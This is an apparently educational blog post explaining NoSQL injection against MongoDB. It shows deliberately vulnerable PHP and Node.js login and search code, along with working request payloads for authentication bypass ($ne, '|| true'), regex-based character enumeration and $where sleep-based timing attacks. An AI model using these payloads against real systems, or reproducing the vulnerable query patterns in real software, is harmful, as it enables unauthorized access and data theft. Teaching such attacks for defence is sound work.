Skip to main content
  1. Posts/

Introduction to NoSQL Injection Attacks

·4 mins
NoSQL Guide
Table of Contents

Overview
#

NoSQL databases like MongoDB, Couchbase, and Cassandra have gained immense popularity due to their flexibility, scalability, and performance benefits over traditional relational databases. However, with this rise in adoption comes an increase in security vulnerabilities. NoSQL injection attacks occur when untrusted user input is improperly handled and executed within a NoSQL query, allowing an attacker to manipulate database operations. These vulnerabilities are as dangerous as traditional SQL injections but are often overlooked due to the misconception that NoSQL databases are inherently secure.

Types of NoSQL Injection
#

NoSQL injection attacks can be categorized based on how the attacker interacts with the database and the feedback received. Understanding these types is crucial for both developers and security professionals to identify and mitigate potential threats.

In-Band Injection
#

In-Band Injection involves the attacker using the same communication channel to both launch the attack and gather results. This method is straightforward because the feedback is immediate.

Example Scenario: Consider a web application using MongoDB that accepts user login credentials via an HTTP POST request. The vulnerable PHP code might look like this:

// Vulnerable PHP code
$collection->find([
    'username' => $_POST['username'],
    'password' => $_POST['password']
]);

$collection->find($query);

An attacker can craft an HTTP request to exploit this unsanitized input:

POST /login.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin&password[$ne]=null

Explanation: PHP Array Syntax – When writing MongoDB queries in PHP, arrays represent MongoDB’s query structure. The syntax password[$ne]=null translates to an associative array in PHP:

$query = [
    'password' => [
        '$ne' => null
    ]
];

Resulting Query:

db.users.findOne({
    username: "admin",
    password: { "$ne": null }
});

Since the password is not null, the condition is true, and the attacker gains unauthorized access as the admin.

Blind Injection
#

Blind Injections occur when an attacker cannot see the direct results of their injected queries but can infer information based on the application’s responses, such as differences in content, HTTP status codes, error messages, or response times.

Boolean-Based
#

In a Boolean-Based Blind Injection, the attacker sends queries that evaluate to either true or false and observes the application’s behavior to infer information about the database.

Example Scenario: Consider a search functionality with a NoSQL Injection vulnerability, where users can search for products. An attacker sends a request with a crafted search term:

GET /search.php?search[$regex]=^S.* HTTP/1.1
Host: example.com

If a product starting with the letter “S” exists:

HTTP/1.1 200 OK
Content-Type: text/html

{
  Exists: true
}

Otherwise:

HTTP/1.1 200 OK
Content-Type: text/html

No products found.

To extract the full name of the product, the attacker continues testing each subsequent character to reconstruct the produc name:

search[$regex]=^Se.*  ✔️
search[$regex]=^Sea.* ✖️
search[$regex]=^Sec.* ✔️
…
search[$regex]=^SecretProduct$

The $ indicates the end of a string, verifying if the entire word is correct.

Time-Based
#

In a Time-Based Blind Injection, the attacker sends queries that cause the server to delay its response when certain conditions are true. By measuring these response times, the attacker can infer information about the database.

Example Scenario: Assume a NoSQL Injection vulnerability in the username parameter:

POST /login HTTP/1.1
Host: example.com
Content-Type: application/json

{
    "username": {
       "$where": "function() { if(this.username == 'admin') { sleep(5000); } return true; }"
    },
    "password": "randompassword"
}

Explanation: JavaScript Function – The this keyword refers to the current document being evaluated in the collection.

if(this.username == 'admin') { sleep(5000); }

Behavior: If this.username == 'admin' evaluates to true, the function calls sleep(5000) to delay the response by 5 seconds, indicating that the username exists. Otherwise, the response time remains normal.

An attacker can enumerate usernames or other fields character by character using a similar method:

{
    "username": {
        "$where": "function() { if (this.username[0] == 'a') { sleep(5000); } return true; }"
    },
    "password": "irrelevant"
}

By systematically testing each character position, the attacker can reconstruct sensitive information.

Server-Side JavaScript Injection (SSJI)
#

MongoDB allows the use of JavaScript expressions in queries via the $where operator. If not handled securely, this feature can be exploited.

Example Scenario: Consider the following MongoDB query in a Node.js application:

collection.findOne({
  $where: `this.username == '${username}' && this.password == '${password}'`
}, function(err, user) {
    if (user) {
        res.send('Logged in as ' + user.username);
    } else {
        res.send('Authentication failed');
    }
});

An attacker can manipulate the username field to inject malicious code:

POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin' || true //&password=anything

Resulting Query:

db.users.findOne({
    $where: "this.username == 'admin' || true // ' && this.password == 'anything'"
});

Effect: The condition this.username == 'admin' || true always evaluates to true, allowing the attacker to bypass authentication.

Further Exploitation: Attackers can use injections like " || ""==" or " || true || ""==" to evaluate the entire query to true. They can also enumerate fields using functions like match($regex) and the character-by-character approach mentioned earlier.

Related

Bluetooth Low Energy Hacking 101
·11 mins
BLE Hardware Guide